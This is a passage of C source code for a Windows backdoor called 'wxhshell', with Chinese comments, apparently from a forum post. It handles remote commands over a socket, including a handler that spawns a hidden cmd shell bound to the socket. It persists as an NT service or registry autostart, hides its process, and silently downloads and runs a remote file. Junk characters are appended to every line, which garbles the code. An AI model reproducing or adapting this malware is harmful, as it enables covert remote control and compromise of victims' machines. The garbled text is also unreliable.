  mCEKEX  
  // 帮助 O"2wV +9  
  case '?': { 9M-NItFos  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BIb{<tG^N  
    break; !0d9<SVC  
  } AW{/k'%xw  
  // 安装 -\sKSY5{R  
  case 'i': { 0X S' v,|  
    if(Install()) sKE*AGFL d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n WO~v{h3J  
    else 45!`g+)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '3Lx!pMhN  
    break; $fU/9jTa  
    } }E)8soQR  
  // 卸载 epY;1,; >  
  case 'r': { Z "+rg9/p  
    if(Uninstall()) <R]Wy}2-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j:vD9sdQ  
    else `5~o=g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :67d>wb  
    break; X\^3,k."  
    } wtgO;w  
  // 显示 wxhshell 所在路径 hc4`'r;  
  case 'p': { y(p:)Iv  
    char svExeFile[MAX_PATH]; ?M1 QJ  
    strcpy(svExeFile,"\n\r"); hTNYjXj  
      strcat(svExeFile,ExeFile); ^PCL^]W  
        send(wsh,svExeFile,strlen(svExeFile),0); HWao3Lz  
    break; d T0 z^SG  
    } d+$[EDix  
  // 重启 %y^ Kw  
  case 'b': { b^=8%~?%4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h 19.b:JT  
    if(Boot(REBOOT)) v:;C|uE|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y^Xxa'y  
    else { f"}14V  
    closesocket(wsh); neMe<jr  
    ExitThread(0); 8aM% 9OU  
    } !z&seG]@  
    break; R/KWl^oNj  
    } IEKX'+t'  
  // 关机  OG<]`!"  
  case 'd': { 6T'43h. :  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7$!Bq#  
    if(Boot(SHUTDOWN)) E4fvYV_ra  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yv`1ySR  
    else { qm&53  
    closesocket(wsh);  ^O\1v  
    ExitThread(0); Z~R/ p;@  
    } I>(z)"1  
    break; =P+wp{?AN|  
    } &cv /q$W4  
  // 获取shell &T4Cn@  
  case 's': { L bK1CGyA  
    CmdShell(wsh); %L,,  
    closesocket(wsh); OsuSx^}  
    ExitThread(0); O8}s*}]  
    break; :.o0<  
  } 0~I) /T  
  // 退出 F u=VY{U4  
  case 'x': { ~#xs `@{s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9<#R;eIsv  
    CloseIt(wsh); 5Szo5  
    break; <@2?2l+`X  
    } +GEKg~/4e  
  // 离开 ,PtR^" Mf4  
  case 'q': { H H7 gT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &b:Zln.j  
    closesocket(wsh); h-u*~5dB<&  
    WSACleanup(); ,wy:RVv@e  
    exit(1); +\@\,{Ujy  
    break; U%6lYna{M#  
        } PDiorW}]k  
  } "e?#c<p7  
  } .oOt(K +  
qdnNapWnc  
  // 提示信息 +mel0ZStS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z\yLzy#8  
} +c2>j8e6  
  } '<j p.sZQ  
{twf7.eY  
  return; Tl{r D(D  
} 'Z%aBCM  
NWX%0PGZ  
// shell模块句柄 tg4&j$  
int CmdShell(SOCKET sock) lP &%5y;  
{ /60=N `i  
STARTUPINFO si; w9}IM149  
ZeroMemory(&si,sizeof(si)); %=>xzP(z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0L-g'^nn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aj~@r3E ;  
PROCESS_INFORMATION ProcessInfo; Y\F H4}\S  
char cmdline[]="cmd"; -Q8`p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c_=zd6 b$S  
  return 0; %&S]cEw  
} ) FsSXnZL  
e=$xn3)McY  
// 自身启动模式 N>iCb:_ T;  
int StartFromService(void) >}tG^)os  
{ -i gZU>0B_  
typedef struct TuR?r`P%  
{ +OP'/  
  DWORD ExitStatus; dXN&<Q,  
  DWORD PebBaseAddress; WWz ns[$f  
  DWORD AffinityMask; f4^_FK&  
  DWORD BasePriority; 5Wjp_^!e  
  ULONG UniqueProcessId; ZPog)d@!  
  ULONG InheritedFromUniqueProcessId; H*<dte<  
}   PROCESS_BASIC_INFORMATION; kKO]q#9sO  
Hc3/`.nt  
PROCNTQSIP NtQueryInformationProcess; }e|]G,NZO  
BE;iC.rW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Sv",E@!f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eHIC'b.  
xrd ^vE  
  HANDLE             hProcess; XAkl,Y  
  PROCESS_BASIC_INFORMATION pbi; S}yb~uc,  
l0)6[yXK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $RO=r90o  
  if(NULL == hInst ) return 0; yx4c+(J^8  
3_:k12%p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }7^*%$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g_=ZcGC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cFo-NI2  
$80/ub:R  
  if (!NtQueryInformationProcess) return 0; {%dQV#'c  
o$;x[US  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ews Ja3 `  
  if(!hProcess) return 0; "[ ,XS`  
~d]7 Cl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6UTdy1Qq>  
T9yW# .  
  CloseHandle(hProcess); 7 |A,GH  
P@ u%{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B(U`Zd  
if(hProcess==NULL) return 0; >Li?@+Zl  
 su$juI{  
HMODULE hMod; XFYl[?`G  
char procName[255]; nz+KA\iW  
unsigned long cbNeeded; "a7d`l:  
9IMcp~zX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KYaf7qy]  
,GlK_-6>  
  CloseHandle(hProcess); lw{|~m5`  
~1oD7=WN  
if(strstr(procName,"services")) return 1; // 以服务启动 {I ,'  
I._=q  
  return 0; // 注册表启动 X"sN~Q.0  
} WF7RMQ51j  
cE[lB08  
// 主模块 -1:asM7  
int StartWxhshell(LPSTR lpCmdLine) xUUp ?]9y  
{ IYFA>*Es  
  SOCKET wsl; 9"e!0Q40  
BOOL val=TRUE; ~Q0}>m,S  
  int port=0; &}ow-u9c3  
  struct sockaddr_in door; DDEn63{  
h2nyP  
  if(wscfg.ws_autoins) Install(); <|@9]>z  
m,b<b91  
port=atoi(lpCmdLine); -JK+{<  
%WR  
if(port<=0) port=wscfg.ws_port; l)Hu.1~  
(~~=<0S  
  WSADATA data; >4c 1VEi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^AN9m]P  
\[BnAgsF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B.o&%5dG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7%tn+  
  door.sin_family = AF_INET; [,c>-jA5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )L?Tq"hy  
  door.sin_port = htons(port); 5BZ5Gl3  
1/ HofiIa  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9"rATgN1  
closesocket(wsl); [": x  
return 1; anbr3L[!  
} j'W)Nyw$[  
9 }=Fdt  
  if(listen(wsl,2) == INVALID_SOCKET) { LakP'P6`E  
closesocket(wsl); c~V\,lcI  
return 1; /#a$4 }2L  
} <MYD`,$yu  
  Wxhshell(wsl); |G1U $p  
  WSACleanup(); ]T$~a8  
B`vV[w?  
return 0; z)ydQw>  
,T]okN5uI  
} }*%%GPJ  
uJ[dO}  
// 以NT服务方式启动 a^22H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;RR)C@n1  
{ i}!CY@sW  
DWORD   status = 0; 76 y}1aa  
  DWORD   specificError = 0xfffffff; [mm5?23g  
# RtrHm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DV. m({?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <_D+'[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yJ^}uw  
  serviceStatus.dwWin32ExitCode     = 0; qwN-VCj  
  serviceStatus.dwServiceSpecificExitCode = 0; O@l`D`  
  serviceStatus.dwCheckPoint       = 0; YcIk{_N3  
  serviceStatus.dwWaitHint       = 0; t ({:TQ  
GR"Jk[W9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mF "ctxE  
  if (hServiceStatusHandle==0) return; s)}C&T$Y.  
O%)w!0  
status = GetLastError(); wL:3RZB  
  if (status!=NO_ERROR) lOVsp#  
{ "]sr4Jg=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mX %;  
    serviceStatus.dwCheckPoint       = 0; / JlUqC  
    serviceStatus.dwWaitHint       = 0; r t f}4.  
    serviceStatus.dwWin32ExitCode     = status; K(hqDif*6  
    serviceStatus.dwServiceSpecificExitCode = specificError; !?]NMf_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !.9NJ2'8  
    return; [~x Q l  
  } u{HB5QqK  
daaurT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @@+\  
  serviceStatus.dwCheckPoint       = 0; B&"fPi  
  serviceStatus.dwWaitHint       = 0; @;pTQ 5 I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /']Gnt G.  
} gQ& FO~cr  
|ONkRxr@!  
// 处理NT服务事件,比如:启动、停止 euQ d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gV A$P  
{ i: 1V\q%  
switch(fdwControl) f.Jz]WXw,  
{ o: qB#8X  
case SERVICE_CONTROL_STOP: <wa}A!fu  
  serviceStatus.dwWin32ExitCode = 0; +[:}<^p?cG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eQA89 :j,  
  serviceStatus.dwCheckPoint   = 0; ^IY1^x  
  serviceStatus.dwWaitHint     = 0; {=pf#E=  
  { H;|^z@RB<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aabnlOVw  
  } "J$vt`  
  return; Sa6}xe."M,  
case SERVICE_CONTROL_PAUSE: ji:JLvf]%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S&FMFXF@  
  break; m%ak]rv([  
case SERVICE_CONTROL_CONTINUE: >$k_tC'"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Jv a&"}Cb  
  break; o^biO!4,  
case SERVICE_CONTROL_INTERROGATE: 0OP6VZ\  
  break; *o`bBdZ  
}; u<:R Sg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }"E?#&^  
} t /1KKEZM  
eE+zL ~CE  
// 标准应用程序主函数 * ix&"|h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bR(rZu5  
{ *q\Ve)E}  
{b}Ri&oEOH  
// 获取操作系统版本 )L<NW{  
OsIsNt=GetOsVer(); <%B sb}h,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -$>R;L  
M1-n  
  // 从命令行安装 @/g%l1$`  
  if(strpbrk(lpCmdLine,"iI")) Install(); )\8l6Gw  
GFB(c  
  // 下载执行文件 M|w;7P}  
if(wscfg.ws_downexe) { M| :wC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AQw1,tGV  
  WinExec(wscfg.ws_filenam,SW_HIDE); D37N*9}  
} R%=u<O  
c_"]AhV~Mg  
if(!OsIsNt) { n<+g{QHi  
// 如果时win9x,隐藏进程并且设置为注册表启动 |#^wYZO1U  
HideProc(); HZX(kYV  
StartWxhshell(lpCmdLine); W1dpKv  
} $WED]X@X!  
else e$u=>=jV]  
  if(StartFromService()) Z ]V^s8>  
  // 以服务方式启动 >hHjDYjbf  
  StartServiceCtrlDispatcher(DispatchTable); *](maF~%C  
else aAhXHsZ|26  
  // 普通方式启动 roSdcQTeT  
  StartWxhshell(lpCmdLine); gi\2bzWkbX  
bFD vCF  
return 0; [#hpWNez(>  
}
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只看该作者 1 发表于: 2006-10-10
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